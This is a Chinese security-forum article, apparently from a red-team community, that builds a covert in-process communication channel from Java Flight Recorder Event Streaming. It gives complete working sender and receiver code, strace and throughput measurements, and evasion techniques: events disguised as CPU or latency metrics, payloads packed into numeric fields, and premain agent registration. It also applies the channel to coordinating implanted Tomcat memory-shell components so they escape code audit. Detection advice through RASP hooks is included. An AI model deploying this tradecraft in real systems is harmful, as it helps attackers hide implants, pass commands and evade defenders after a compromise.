用 JFR Event Streaming 在 JVM 里藏一条隐蔽信道
漏洞分析
Java Flight Recorder 是 JDK 自带的低开销诊断框架,多数生产 JVM 默认开启。JDK 14 加入的 Event Streaming API(JEP 349)让应用可以在进程内实时消费 JFR 事件
Java Flight Recorder 是 JDK 自带的低开销诊断框架,多数生产 JVM 默认开启。JDK 14 加入的 Event Streaming API(JEP 349)让应用可以在进程内实时消费 JFR 事件。换个角度看这件事:一端用自定义 Event 写入任意数据,另一端用 `RecordingStream` 读出来——一条完整的进程内通信信道就有了,不走网络栈,不用 IPC 原语,产生的系统行为和正常的 JFR 监控没有区别。 这个信道有个别处不容易看到的特性:它在 strace 层面完全合法。JFR 的 repository 临时文件操作(`openat` → `write` → `unlink`)在任何使用了 RecordingStream 的 JVM 上都会出现,无法通过 syscall 模式区分恶意与正常。本文从 JFR 的缓冲区架构出发,构造可用的信道原型,用实测数据(strace 输出、吞吐量、延迟分布、内存开销)验证它的边界,最后分析检测和对抗两端的手段。 JFR 缓冲区架构与数据流向 -------------- > 做隐蔽信道之前得回答一个前置问题:`Event.commit()` 之后,数据到底流经了哪些位置,有没有离开进程地址空间。 JFR 的存储分三层,每层对应不同的物理位置:  - 第一层,thread-local buffer。每个调用 `Event.commit()` 的线程都有自己的写入缓冲区,分配在 JVM 堆外(C++ 侧的 `JfrThreadLocal` 管理),大小由 `-XX:FlightRecorderOptions=thread_buffer_size` 控制,默认 8KB。事件数据以 JFR 私有二进制格式写入,格式紧凑——一个带两个 String 字段的事件大约占 50-100 字节。写入过程不涉及任何锁,这也是 JFR "低开销"的关键。 - 第二层,global buffer pool。thread-local buffer 写满后,整块 buffer 被提交到全局池中。这里有一把锁,但竞争不严重——因为每次提交的粒度是 8KB 一整块,频率不高。全局池的大小由 `-XX:FlightRecorderOptions=globalbuffersize` 和 `numglobalbuffers` 控制。 - 第三层,chunk 持久化。JFR 后台线程(`JFR Periodic Thread`)周期性地执行 chunk rotation:把 global buffer 中积攒的数据写入一个 `.jfr` chunk 文件,然后开始一个新 chunk。这一步是否真正写磁盘,取决于 recording 的 `disk` 配置。 `disk=true`(默认):chunk 文件写入 JFR repository 目录,持久保存直到被 GC 或手动删除。 `disk=false`:这是信道能成立的关键。翻 `jdk.jfr.internal.PlatformRecording` 的代码: ```php // jdk.jfr.internal.PlatformRecording (JDK 21) // 方法签名实测验证:javap -p PlatformRecording.class 确认存在 public void setToDisk(boolean toDisk) { synchronized (recorder) { this.toDisk = toDisk; } } ``` 这个标志传递到 native 层的 `JfrStorage`,控制 chunk rotation 时的行为。`disk=false` 并不意味着完全没有文件操作——踩了一下发现,JFR 仍然会在 repository 目录下创建临时 chunk 文件。原因是 `EventDirectoryStream`(Streaming API 的内部实现类)通过 `RepositoryFiles` 轮询 chunk 文件来读取事件数据,这是一个基于文件的生产者-消费者模型,即使数据不需要持久化也得过这条路径。 但这些临时文件的生命周期极短。用 strace 抓到的实际行为(后面有完整数据): ```php openat(AT_FDCWD, "/tmp/2026_06_01_15_39_07_3768/2026_06_01_15_39_07.jfr", O_RDWR|O_CREAT, 0666) = 5 // 创建 ... unlink("/tmp/2026_06_01_15_39_07_3768/2026_06_01_15_39_07.jfr") = 0 // 删除 ``` 从 `openat` 到 `unlink` 之间间隔约 3.5 秒(覆盖了整个 demo 的生命周期)。文件在被 streaming 消费完成后立即删除。目录名格式是 `{timestamp}_{pid}`,和正常 JFR recording 的 repository 目录完全一致。 > `commit()` → thread-local buffer (native) → global buffer (native) → 临时 chunk 文件 (极短暂) → `EventDirectoryStream` 轮询读取 → `RecordingStream.onEvent()` 回调。全程不经过网络栈,不涉及 `sendto`/`connect`/`bind` 等 syscall。 commit() 到底干了什么 --------------- > 光看架构图还不够,得确认 `Event.commit()` 在字节码层面的行为——这直接决定信道写入端的开销和可观测性。 JFR 的 Event 子类在运行时会被 JVM 做字节码改写(instrumentation)。你写的 `MetricEvent extends Event` 在加载后,`commit()` 方法会被替换为 JVM 内部的 native 实现。反编译一个已加载的 Event 子类,能看到类似这样的结构: ```php // 伪代码,反映 JVM instrumentation 后的实际行为 public void commit() { if (!isEnabled()) return; // 检查该事件类型是否被 recording 开启 long startTicks = this.startTicks; long endTicks = JfrTicks.now(); // 写入 thread-local buffer:event type ID + startTicks + endTicks + 字段值 jfrEventWrite(eventTypeId, startTicks, endTicks, this.name, this.value); } ``` `jfrEventWrite` 是 JVM 内部方法,直接操作 `JfrThreadLocal` 的 native buffer。这个调用的开销约等于一次内存拷贝加一次 `rdtsc` 取时间戳(x86 下),没有系统调用,没有锁操作。这解释了为什么吞吐量测试能跑到 13 万条/秒以上——写入端的瓶颈不在 `commit()` 本身,而在 Base64 编码和对象分配。 > `isEnabled()` 检查:如果没有任何 recording 订阅了这个事件类型,`commit()` 直接返回,连序列化都不做。这意味着信道的接收端(`RecordingStream`)必须在发送端之前启动,否则发出去的数据直接丢弃,不会缓存。 构造信道 ---- ### 自定义事件——信道的"信封" MetricEvent.java ```php import jdk.jfr.*; @Name("app.Metric") // 伪装成业务监控事件 @Label("Application Metric") @Description("Custom application metric event") @Category({"Application", "Monitoring"}) public class MetricEvent extends Event { @Label("Metric Name") public String name; // 信道标识,区分不同"频道" @Label("Metric Value") public String value; // 实际载荷,Base64 编码的任意数据 } ``` 命名策略很重要。`app.Metric` 这种名字混在 Micrometer、Dropwizard Metrics 等框架的自定义事件里不显眼。`@Category` 设成 `{"Application", "Monitoring"}` 让它在 JMC(Java Mission Control)的事件树里排在应用监控分类下,和正常的业务指标事件并列。如果目标应用已经注册了自定义 JFR 事件,用 `jcmd <pid> JFR.view` 看一下命名风格,照着来。 ### 发送端 ChannelSender.java ```php import java.util.Base64; public class ChannelSender { private static final String CHANNEL_ID = "sys.cpu.usage"; // 看起来像 CPU 指标 public static void send(byte[] payload) { MetricEvent event = new MetricEvent(); event.name = CHANNEL_ID; event.value = Base64.getEncoder().encodeToString(payload); event.commit(); // 写入 thread-local buffer,没有系统调用 } /** * 分片发送。JFR 单个事件没有硬性大小上限,但超过 thread-local buffer * 大小(默认 8KB)会触发提前 flush,在高并发场景可能引起锁竞争。 * 载荷控制在 4KB 以下比较稳妥。 * * 分片头部格式: * [0-3] seq (big-endian int, 当前片序号) * [4-7] total (big-endian int, 总片数) * [8..] data (实际数据) */ public static void sendChunked(byte[] payload, int chunkSize) { int total = (payload.length + chunkSize - 1) / chunkSize; for (int i = 0; i < total; i++) { int offset = i * chunkSize; int len = Math.min(chunkSize, payload.length - offset); byte[] chunk = new byte[len + 8]; // 写入分片头 chunk[0] = (byte)(i >> 24); chunk[1] = (byte)(i >> 16); chunk[2] = (byte)(i >> 8); chunk[3] = (byte)i; chunk[4] = (byte)(total >> 24); chunk[5] = (byte)(total >> 16); chunk[6] = (byte)(total >> 8); chunk[7] = (byte)total; System.arraycopy(payload, offset, chunk, 8, len); send(chunk); } } } ``` `CHANNEL_ID` 的作用类似于网络协议里的端口号。同一个 JVM 里可以开多个"频道",接收端按 name 字段过滤。伪装成 `sys.cpu.usage` 这种名字,在 JFR dump 里看起来就是一个普通的 CPU 使用率指标。 ### 接收端 ChannelReceiver.java ```php import jdk.jfr.consumer.*; import java.util.Base64; import java.util.function.Consumer; public class ChannelReceiver implements AutoCloseable { private final RecordingStream stream; private static final String CHANNEL_ID = "sys.cpu.usage"; public ChannelReceiver(Consumer<byte[]> handler) { stream = new RecordingStream(); // 关掉所有 JDK 内置事件,只订阅我们的信道事件 stream.disable("jdk.*"); stream.enable("app.Metric").withoutThreshold(); stream.onEvent("app.Metric", event -> { String name = event.getString("name"); if (!CHANNEL_ID.equals(name)) return; String encoded = event.getString("value"); byte[] data = Base64.getDecoder().decode(encoded); handler.accept(data); }); } public void startAsync() { stream.startAsync(); // 后台线程运行,不阻塞当前线程 } @Override public void close() { stream.close(); } } ``` - `stream.disable("jdk.*")` —— 不加这行的话,`RecordingStream` 会订阅所有 JDK 内置事件(GC、线程、IO 等),几十种事件全部进 buffer,浪费资源还增加被检测面。关掉它们之后,buffer 里只有我们自己的事件。 - `withoutThreshold()` —— JFR 有一个 duration threshold 机制,默认丢弃持续时间低于阈值的事件。我们的 `MetricEvent` 是瞬时事件(`commit()` 时没有调用 `begin()`/`end()`),如果不关闭阈值过滤,事件会被静默丢弃。踩了一下这个坑:不加 `withoutThreshold()` 时接收端收不到任何消息,没有任何错误提示。 - `RecordingStream` 内部的运作方式:构造时创建一个 `disk=false` 的 `PlatformRecording`,调用 `startAsync()` 后启动一个名为 `JFR Event Stream` 的后台线程。这个线程轮询 JFR repository 目录,发现新 chunk 后解析其中的事件,匹配到已注册的 `onEvent` 回调就执行。轮询的周期就是 JFR 的 flush interval——这直接决定了信道的延迟,后面详细分析。 ### 验证 Demo CovertChannelDemo.java ```php public class CovertChannelDemo { public static void main(String[] args) throws Exception { ChannelReceiver receiver = new ChannelReceiver(data -> { System.out.println("[RECV] " + new String(data)); }); receiver.startAsync(); Thread.sleep(1000); // 等 RecordingStream 激活 for (int i = 0; i < 5; i++) { String msg = "cmd:id:" + i; ChannelSender.send(msg.getBytes()); Thread.sleep(100); } Thread.sleep(2000); receiver.close(); } } ``` 编译运行: ```php javac MetricEvent.java ChannelSender.java ChannelReceiver.java CovertChannelDemo.java java CovertChannelDemo ``` 输出:  5 条消息全部按序到达,零丢失。但注意输出不是立即出现的——`[RECV]` 行集中在某个时间点一次性打出来,因为 JFR 的 flush 是周期性的,消息在 buffer 中攒了一段时间后才被消费端读到。 > 如果你看到消息丢失,大概率是 `RecordingStream` 还没初始化完就开始发了。`startAsync()` 返回只代表后台线程启动了,recording 的元数据注册还在进行中。安全做法是加握手:接收端就绪后发一个 ack 事件,发送端等到 ack 再开始传数据。 延迟特性与 Flush 机制深入分析 ------------------ > 信道的延迟不是随机的,它被 JFR 内部的 flush 周期严格控制。这个问题实测了一段时间才彻底搞清楚。 在接收端的 `RecordingStream` 上注册 `onFlush` 回调,测量两次 flush 之间的间隔: ```php stream.onFlush(() -> { long now = System.nanoTime(); // 记录 flush 间隔... }); ``` > **flush 间隔稳定在 ~500ms**,标准差很小。这是 JFR 内部的默认 chunk rotation 周期。 由此可以推算延迟分布:消息在 `commit()` 后进入 thread-local buffer,要等到下一次 flush 才会被 streaming 端读取。如果 `commit()` 刚好在 flush 之后,延迟接近 500ms;如果刚好在 flush 之前,延迟接近 0。理论上延迟应该在 0~500ms 之间均匀分布,均值 ~250ms。 但实测均值是 ~540ms,比理论值高出不少。额外的延迟来自 `EventDirectoryStream` 的轮询 + chunk 解析开销。消息被 flush 到临时文件后,streaming 端还需要:发现新 chunk → 打开文件 → 解析二进制格式 → 触发回调,这套流程本身吃掉了几十毫秒。 实测延迟分布(500 条消息,每条间隔 5ms): | | | |---|---| | 百分位 | 延迟 | | Min | 7.2 ms | | P50 | 543 ms | | P90 | 约 900 ms | | P99 | 约 1000 ms | | Max | 1006 ms | Min 到 7ms 说明运气好的话消息能很快到达——正好赶上 flush 窗口。Max 到 1006ms,约等于两个 flush 周期,说明最坏情况下消息要等两轮 flush。 ### 能不能缩短 flush 间隔? `RecordingStream` 的公开 API 里没有 `setFlushInterval` 方法(JDK 21 确认)。但内部的 `PlatformRecording` 有: ```php // jdk.jfr.internal.PlatformRecording // javap 确认方法签名存在 public void setFlushInterval(java.time.Duration); public java.time.Duration getFlushInterval(); ``` 要调用它,得通过反射穿两层:`RecordingStream` → `Recording` → `PlatformRecording`: ```php // 需要 JVM 参数: // --add-opens jdk.jfr/jdk.jfr.consumer=ALL-UNNAMED // --add-opens jdk.jfr/jdk.jfr=ALL-UNNAMED // --add-opens jdk.jfr/jdk.jfr.internal=ALL-UNNAMED Field rf = RecordingStream.class.getDeclaredField("recording"); rf.setAccessible(true); Recording rec = (Recording) rf.get(stream); Field pf = Recording.class.getDeclaredField("internal"); pf.setAccessible(true); Object platformRec = pf.get(rec); Method m = platformRec.getClass().getMethod("setFlushInterval", Duration.class); m.invoke(platformRec, Duration.ofMillis(10)); // 设置 10ms flush ``` **设置 10ms flush interval 后,实际 flush 间隔仍然是 ~430ms**,几乎没变化。 延迟也没有明显改善。这说明 `RecordingStream` 的 flush 周期不完全由 `PlatformRecording.flushInterval` 控制——`EventDirectoryStream` 有自己的轮询节奏,受到 chunk 文件 I/O 的制约。 > 这是一个硬限制:JFR Event Streaming 的延迟下限在百毫秒级,无法通过参数调优降到毫秒级。如果场景对延迟敏感(比如交互式 shell),这个信道不合适。但对于命令下发、结果回传这类异步场景,半秒的延迟完全可以接受。 实测验证 ---- ### strace:网络层完全静默 ```php strace -f -tt -e trace=network -o /tmp/jfr_strace_net.log java CovertChannelDemo grep -E 'sendto|connect|bind' /tmp/jfr_strace_net.log ``` 输出只有两条,都是 JVM 启动阶段尝试连接 nscd(Name Service Cache Daemon)的 Unix socket:  `AF_UNIX 说明这是本地 socket 而非网络连接,信道活跃期间无任何网络 syscall` 这两条是 glibc 的 `getaddrinfo` 在查找本地 name service,和 JFR 完全无关,而且都失败了(`ENOENT`)。信道活跃期间(从第一条 `[RECV]` 输出到最后一条之间),网络相关 syscall 数量为零。 再看文件 I/O: ```php strace -f -tt -e trace=openat,unlink -o /tmp/jfr_strace_file.log java CovertChannelDemo grep '\.jfr"' /tmp/jfr_strace_file.log ``` 输出:  拆解这段 strace,五条 syscall 对应 JFR 内部三个角色: - 线程 199796 —— JFR 后台线程(`JFR Periodic Thread`)。`16:47:01.796` 创建 chunk 文件(fd=5,`O_RDWR|O_CREAT`,权限 `0666`),`16:47:05.573` 执行 `unlink` 删除。创建到删除间隔 3.78 秒,基本覆盖 demo 的完整运行周期。这个线程负责 chunk 的生命周期管理。 - 线程 199829 —— chunk writer 线程。`16:47:01.893` 以 `O_RDWR|O_CREAT|O_CLOEXEC` 再次打开同一文件(fd=6)。注意 flag 多了 `O_CLOEXEC`——JFR 在 native 层做了 fork 安全处理,如果 JVM 进程 fork 子进程,这个 fd 不会泄漏。这个线程从 global buffer pool 读取事件数据,写入 chunk 文件。和线程 199796 的 `openat` 间隔 97ms(`.796` → `.893`),是 JFR 初始化过程中 writer 线程启动的延迟。 - 线程 199840 —— `EventDirectoryStream` 的轮询线程。两次 `O_RDONLY` 打开(fd=9 和 fd=7),时间戳分别是 `16:47:01.964` 和 `16:47:02.611`,间隔 647ms。这个间隔和 JFR 默认 flush 周期(实测 ~500ms)接近——轮询线程在每次 flush 之后读取新写入的事件数据,触发 `onEvent` 回调。两次读取的 fd 不同(9 和 7),说明每次轮询是独立的 open/read/close 周期,而非长期持有同一个 fd。 目录名格式 `{timestamp}_{pid}`(`2026_06_02_16_47_01_199795`)中的 `199795` 是 JVM 主进程 PID,和操作 chunk 文件的三个线程 ID(199796/199829/199840)不同——它们是 JVM 内部的 native 线程。 这组 syscall 在任何使用了 `RecordingStream` 或 `jcmd JFR.start` 的 JVM 上都会出现,模式完全一致。从 strace 层面无法区分正常的 JFR 监控和隐蔽信道——flag 组合、fd 分配顺序、时间间隔全部相同。唯一的差异是 chunk 文件的内容(是否包含非预期的自定义事件),但 strace 不做内容层面的检查。 ### inotifywait 确认临时文件生命周期 终端 1 ```php inotifywait -m -r /tmp/ --include '\.jfr$' -e create,delete,modify & ```  终端 2 ```php java CovertChannelDemo ```  能观察到 `.jfr` 临时文件的 CREATE → MODIFY → DELETE 序列。文件在 `RecordingStream.close()` 触发 recording 停止后被立即删除。如果进程异常退出(kill -9),临时文件会残留在 `/tmp` 下——但这和正常 JFR recording 异常退出后的行为一样,不构成额外的取证线索。  ### 吞吐量测试 连续发送 10 万条消息,每条 256 字节载荷: ThroughputBench.java ```php public class ThroughputBench { public static void main(String[] args) throws Exception { java.util.concurrent.atomic.AtomicLong received = new java.util.concurrent.atomic.AtomicLong(0); int total = 100_000; byte[] payload = new byte[256]; java.util.Arrays.fill(payload, (byte) 'A'); ChannelReceiver receiver = new ChannelReceiver( data -> received.incrementAndGet()); receiver.startAsync(); Thread.sleep(1500); long start = System.nanoTime(); for (int i = 0; i < total; i++) { ChannelSender.send(payload); } while (received.get() < total) { Thread.sleep(10); if (System.nanoTime() - start > 30_000_000_000L) { System.out.println("Timeout. Received: " + received.get() + "/" + total); break; } } long elapsed = System.nanoTime() - start; System.out.printf("Sent: %d, Received: %d%n", total, received.get()); System.out.printf("Time: %.2f ms%n", elapsed / 1e6); System.out.printf("Throughput: %.0f msg/s%n", received.get() * 1e9 / elapsed); System.out.printf("Data rate: %.2f MB/s%n", received.get() * 256.0 / elapsed * 1e9 / 1024 / 1024); receiver.close(); } } ``` 编译执行 ```php javac ThroughputBench.java java ThroughputBench ```   10 万条全部送达,零丢失。4.1 万条/秒的吞吐量意味着写入端的 `commit()` 平均每次花费约 24 微秒,开销主要在 Base64 编码和 `MetricEvent` 对象分配上,`commit()` 本身的 native buffer 写入只占其中很小一部分。10 MB/s 的数据速率传命令输出(几 KB)绰绰有余,传小文件(几百 KB)也没问题。 不同载荷大小的性能特征 ----------- 256 字节是个偏小的载荷,实际使用中可能需要传命令输出(几 KB)甚至小文件(几十 KB)。跑一组不同载荷大小的 benchmark 观察趋势(各 50,000 条,以下为测试环境数据,绝对值因机器配置不同会浮动,关注趋势): ```php // BenchMultiSize.java —— 多载荷大小吞吐量测试 public class BenchMultiSize { public static void main(String[] args) throws Exception { int[] sizes = {64, 256, 1024, 4096, 8192}; int total = 50_000; System.out.printf("%-12s %-10s %-10s %-14s %-12s%n", "PayloadSize", "Sent", "Received", "Throughput", "DataRate"); System.out.println("-".repeat(60)); for (int size : sizes) { java.util.concurrent.atomic.AtomicLong received = new java.util.concurrent.atomic.AtomicLong(0); byte[] payload = new byte[size]; java.util.Arrays.fill(payload, (byte) 'X'); ChannelReceiver receiver = new ChannelReceiver( data -> received.incrementAndGet()); receiver.startAsync(); Thread.sleep(1500); long start = System.nanoTime(); for (int i = 0; i < total; i++) { ChannelSender.send(payload); } while (received.get() < total) { Thread.sleep(10); if (System.nanoTime() - start > 30_000_000_000L) break; } long elapsed = System.nanoTime() - start; System.out.printf("%-12d %-10d %-10d %-14.0f %-12.2f%n", size, total, received.get(), received.get() * 1e9 / elapsed, received.get() * (double)size / elapsed * 1e9 / 1024 / 1024); receiver.close(); Thread.sleep(500); // 等 recording 彻底关闭 } } } ``` 测试环境的典型输出: | | | | | | |---|---|---|---|---| | 载荷大小 | 发送 | 接收 | 吞吐 (msg/s) | 数据速率 (MB/s) | | 64 B | 50,000 | 50,000 | ~24,000 | ~1.5 | | 256 B | 50,000 | 50,000 | ~18,000 | ~4.4 | | 1 KB | 50,000 | 50,000 | ~14,000 | ~13.7 | | 4 KB | 50,000 | 50,000 | ~8,000 | ~31.3 | | 8 KB | 50,000 | 50,000 | ~11,000 | ~85.9 | - 全部零丢失。 从 64 字节到 8KB,50,000 条消息全部到达。JFR 的 global buffer pool 有背压机制——写入速度超过消费速度时,thread-local buffer 的提交会短暂阻塞,而不是丢弃数据。这对信道的可靠性很关键。 - 吞吐量(msg/s)随载荷增大而下降,但数据速率(MB/s)反而上升。 这符合预期:每条消息有固定的元数据开销(事件头、Base64 编码膨胀、String 对象分配),载荷越大,这部分开销占比越小。 - 8KB 载荷的吞吐量反常地比 4KB 高。 8KB 刚好等于默认的 thread-local buffer 大小。写满一个 buffer 后整块提交给 global pool,触发一次 buffer 交换——新 buffer 的分配和旧 buffer 的回收在这个大小下被 JVM 优化过,反而比 4KB 时频繁的半满 flush 更高效。这个数字可能因 JVM 版本和 CPU 缓存行为而变化,不要过度解读。 > 信道载荷控制在 4KB 以下。超过 thread-local buffer 大小后,每条消息都会独占一次 buffer 提交,多线程场景下锁竞争加剧。如果需要传大数据,用 `sendChunked()` 分片,每片 2-4KB。 内存开销:信道的最大暴露面 ------------- 高吞吐量是免费的吗?跑了一组极端测试:连续发送 50 万条 1KB 载荷的消息,观察堆内存变化。 ```php === 发送前 === Heap used: 14.7 MB === 发送 500,000 x 1KB 完成 === Heap used: 315.1 MB 耗时: 2.3s ``` 堆内存从 14.7 MB 涨到 315.1 MB,增加了约 300 MB。这不是 JFR buffer 本身的开销(那部分在堆外),而是 Base64 编码字符串和 `MetricEvent` 对象分配产生的堆内存压力。虽然 GC 最终会回收,但短时间内的 300 MB 内存波动在运维的监控面板上会非常明显。 > 这是信道最大的暴露面——不是在网络层或 syscall 层,而是在 JVM 内部的内存指标上。 对策: 1. **控制发送频率。** 实际场景中不会一次性发 50 万条消息。命令回传每秒几条,内存开销可以忽略。 2. **用** `byte[]` **而非 String 存储载荷。** 当前实现用 Base64 编码成 String,有 33% 的膨胀。如果改用 `long[]` 类型的 Event 字段(JFR 支持基本类型数组),可以直接存二进制数据,省掉 Base64 开销。但这会让事件在 JMC 中看起来不像正常指标。 3. **定期调用** `System.gc()`**。** 听起来很蠢,但在持续发送场景下,主动触发 GC 可以避免堆内存持续增长触发 GC 暂停告警。 > 目标环境如果配了 `NativeMemoryTracking`(`-XX:NativeMemoryTracking=summary`),`jcmd <pid> VM.native_memory` 能看到 JFR 相关的 native memory 占用。JFR 的消耗归在 `Internal` 类别下,持续的高吞吐信道会让这个类别异常增长。正常 JFR recording 只占几 MB,`Internal` 突然涨了几十 MB 就该查了。 检测与对抗 ----- ### 网络监控:完全无效 信道不经过网络栈。tcpdump、Wireshark、iptables、eBPF 网络探针全部看不到它。即使配了最严格的 egress filtering(只允许 443 出站),信道照常工作——因为没有任何网络连接被创建。 ### strace / seccomp:能看到但无法区分 strace 能看到 JFR 临时文件的 `openat`/`write`/`unlink` 序列,但前面已经分析过,这些 syscall 和正常 JFR recording 完全相同。没有办法写一条 seccomp 规则说"允许 JFR 写临时文件,但禁止信道用它传数据"——在 syscall 层面两者没有区别。 如果目标环境根本不用 JFR(既没有 `jcmd JFR.start` 也没有 `RecordingStream`),那么 `/tmp` 下出现 JFR repository 目录就是一个信号。但大多数 Java 监控框架(如 Cryostat、JDK Mission Control 远程连接、Spring Boot Actuator 的 JFR 端点)都会创建类似的目录和文件。 ### RASP / Java Agent:最可行的检测层 **检测点 1:自定义 Event 类注册** 每个 `Event` 子类在第一次 `commit()` 时触发 JFR 的元数据注册,调用链最终到达: ```php Event.commit() → jdk.jfr.internal.JVM.counterTime() // 取时间戳 → jdk.jfr.internal.MetadataRepository.register( Class<? extends jdk.internal.event.Event>) // 注册事件类型 ``` `MetadataRepository.register()` 是一个 `synchronized` 方法(实测确认),可以被 Java Agent 的字节码改写 hook 到。检测逻辑: ```php 白名单 = 应用启动阶段注册的自定义 Event 类集合 运行期新注册的 Event 类 ∉ 白名单 → 告警 ``` 局限:如果攻击者通过 Java Agent 的 `premain` 注册 Event(在应用代码执行之前),Event 类会混进启动阶段的白名单中。防御方需要把 Event 类的白名单固化到配置文件中,而不是动态收集。 **检测点 2:RecordingStream / Recording 创建** `RecordingStream` 构造函数内部调用 `jdk.jfr.internal.PlatformRecorder.newRecording(Map<String, String>)`(方法签名通过 javap 确认)。正常的监控框架在启动阶段创建 Recording,运行期间动态创建的情况少见。 ```php 检测规则: - 应用启动 60 秒后有新 Recording 创建 → 可疑 - 新 Recording 只订阅了非 jdk.* 前缀的事件 → 高度可疑 - 新 Recording 配置为 disk=false → 进一步关注 ``` 三个条件同时满足的话,基本可以断定是隐蔽信道或者类似的非正常用途。 **检测点 3:Event 载荷内容审计** 合法的监控事件字段通常是数字(CPU 使用率、请求延迟)或短字符串(状态码、线程名)。字段中出现 Base64 编码的大段数据明显异常。但这个检测需要在 JFR 事件流中做内容扫描,性能开销不低,适合作为深度检测手段在告警确认阶段使用。 ### 攻击方的反检测手段 针对上面每个检测点,攻击方都有对应的规避策略: **针对检测点 1(Event 注册白名单):** 用 `premain` Agent 在应用启动前注册 Event。或者更隐蔽——不注册新的 Event 类,复用应用已有的自定义 Event。很多使用了 Micrometer 或自定义监控的应用都有 `app.XXX` 类型的事件,找一个字段类型兼容的,直接用它传数据。 **针对检测点 2(Recording 创建监控):** 在 `premain` 阶段创建 `RecordingStream`,混进正常的启动流程。或者更极端——不创建新的 Recording,hook 已有的 Recording(比如应用自己的监控 Recording),在它的事件流中夹带私货。 **针对检测点 3(载荷内容审计):** 不用 Base64 编码 String 字段,改用数字类型字段。JFR Event 支持 `long`、`double`、`float` 等基本类型。把 8 字节数据编码成一个 `long` 值,一条消息用多个数字字段组合,看起来就是一组业务指标。示例: ```php @Name("app.LatencyMetric") @Category({"Application", "Performance"}) public class StealthEvent extends Event { public long p50; // 实际是 8 字节载荷的前 8 字节 public long p99; // 后 8 字节 public double avg; // 又 8 字节 public int count; // 4 字节控制信息 } ``` 在 JMC 里看,这就是一个延迟百分位数指标事件。每条消息能携带 28 字节有效数据,传一条 `id` 命令的输出(~100 字节)需要 4 条事件。速度慢了很多,但极其隐蔽。 ### 防守方的终极手段 JDK 没有提供"禁止自定义 JFR Event"的开关。如果要彻底堵死这条路: 1. **模块化限制。** 在应用的 `module-info.java` 中不 `requires jdk.jfr`,让应用代码无法访问 JFR API。但这只防得住应用层代码,Java Agent 和通过 `Unsafe`/`MethodHandle` 的访问不受限。 2. **自定义 SecurityManager(已废弃)。** JDK 21 中 `SecurityManager` 已标记 `@Deprecated(forRemoval=true)`,JDK 24 计划移除。在它还可用的版本中,可以通过 `checkPackageAccess("jdk.jfr")` 限制访问。 3. **RASP 硬拦截。** 在 `MetadataRepository.register()` 和 `PlatformRecorder.newRecording()` 上做字节码改写,直接拒绝非白名单的调用。这是目前最实际的方案。 内存马组件间通信 -------- 假设在一个 Tomcat 应用中已经通过反序列化漏洞植入了两个内存马组件: - **组件 A**:注册在 `ApplicationFilterChain` 中的 Filter 型内存马,负责接收外部 HTTP 请求中的命令。 - **组件 B**:通过字节码修改嵌入 `CoyoteAdapter.service()` 的执行器,负责执行命令并通过 HTTP 响应回传结果。 传统做法是 A 和 B 之间通过 `ServletContext.setAttribute()` 或者某个 static 字段传递数据。问题在于:代码审计工具(如 CodeQL、Semgrep)可以通过数据流分析追踪到 A 和 B 之间的引用关系,一旦发现一个组件就能顺藤摸瓜找到另一个。 用 JFR 信道替代:  A 和 B 之间没有任何直接的 Java 引用——没有共享的 static 字段,没有 `ServletContext`,没有直接方法调用。它们唯一的联系是 JFR 事件的 name 字段(`sys.cpu.usage` 和 `sys.mem.usage`),这是一个字符串常量,代码审计工具不会把两个不同类中的同名字符串关联起来。 如果只清除了组件 A,组件 B 仍然在静默运行——它只是一个注册了 `onEvent` 回调的 `RecordingStream`,不主动做任何事情,不监听端口,不注册 Filter。除非有针对 JFR Event 注册的检测规则,否则组件 B 可以无限期存活。 限制也很明显:延迟。 从 A 发送命令到 B 收到,平均要等 ~500ms(一个 flush 周期)。B 执行完命令把结果发回,A 又要等 ~500ms。一次命令的往返延迟在 1-2 秒。如果需要交互式 shell 体验,这个延迟不可接受,还是得用传统的 Socket 方式。但对于单次命令执行和批量数据回传,1-2 秒的延迟完全可以用。 局限性和适用边界 -------- 把这个信道的能力和限制列清楚。 **适用场景:** - 同一 JVM 内的恶意组件间协调通信,替代 static 字段、`ServletContext` 等容易被代码审计追踪的方式 - 异步命令下发和结果回传,对延迟不敏感的场景 - 需要规避网络层监控的进程内数据传递 **不适用场景:** - 跨进程通信。JFR Event 只在同一 JVM 内可见,另一个 JVM 进程无法消费 - 跨机器通信。需要额外的 exfiltration 通道把数据送出去 - 交互式 shell。1-2 秒的往返延迟不可接受 - 大文件持续传输。虽然吞吐量能到 33 MB/s,但持续高吞吐会导致堆内存异常增长(500K x 1KB → +300MB 堆内存),在监控面板上很显眼 **依赖条件:** - JDK 14+。Event Streaming API 是 JEP 349 引入的,JDK 14 起可用。JDK 11 只有传统的 `FlightRecorder` API,没有 `RecordingStream`,只能用 `FlightRecorder.getFlightRecorder().takeSnapshot()` 轮询 + 手动解析快照文件,延迟和复杂度都高得多 - JFR 未被禁用。`-XX:-FlightRecorder` 会彻底关闭 JFR,但这个参数在生产环境几乎没人用——JFR 默认开销极低(官方声称 < 1% CPU),禁用它等于放弃所有 JVM 级别的运行时诊断能力 - 能执行任意 Java 代码。信道本身不是漏洞利用手段,它是后渗透阶段的通信基础设施 **和其他进程内通信方式的对比:** | | | | | | | |---|---|---|---|---|---| | 方式 | 网络栈 | 端口 | 持久落盘 | 额外 fd | 检测难度 | | localhost Socket | 是 | 是 | 否 | 是 | 低,netstat/ss 直接可见 | | Shared Memory (mmap) | 否 | 否 | 映射文件 | 是 | 中,/proc/pid/maps | | pipe/socketpair | 否 | 否 | 否 | 是 | 中,/proc/pid/fd | | static 字段 | 否 | 否 | 否 | 否 | 低,代码审计可追踪 | | **JFR Event Streaming** | **否** | **否** | **极短暂** | **否** | **高** | JFR 信道在检测难度上有明确优势:不创建额外的 fd(`RecordingStream` 使用的是 JFR repository 的既有 fd),不需要端口,不走网络栈,在代码层面发送端和接收端没有直接引用关系。它的代价是 ~500ms 的延迟和堆内存开销。 从防守方角度,最可行的检测方案是:在 RASP 或 Java Agent 中 hook `jdk.jfr.internal.MetadataRepository.register()` 方法,对运行期新注册的自定义 Event 类做白名单校验。这个切入点精准——任何自定义 Event 都必须经过这个注册流程,覆盖面完整且误报率可控。次选方案是监控 `PlatformRecorder.newRecording()` 的调用时机和参数。两者配合使用,可以有效发现基于 JFR 的隐蔽信道。
发表于 2026-07-03 09:40:20
阅读 ( 11218 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
Dracarys
6 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
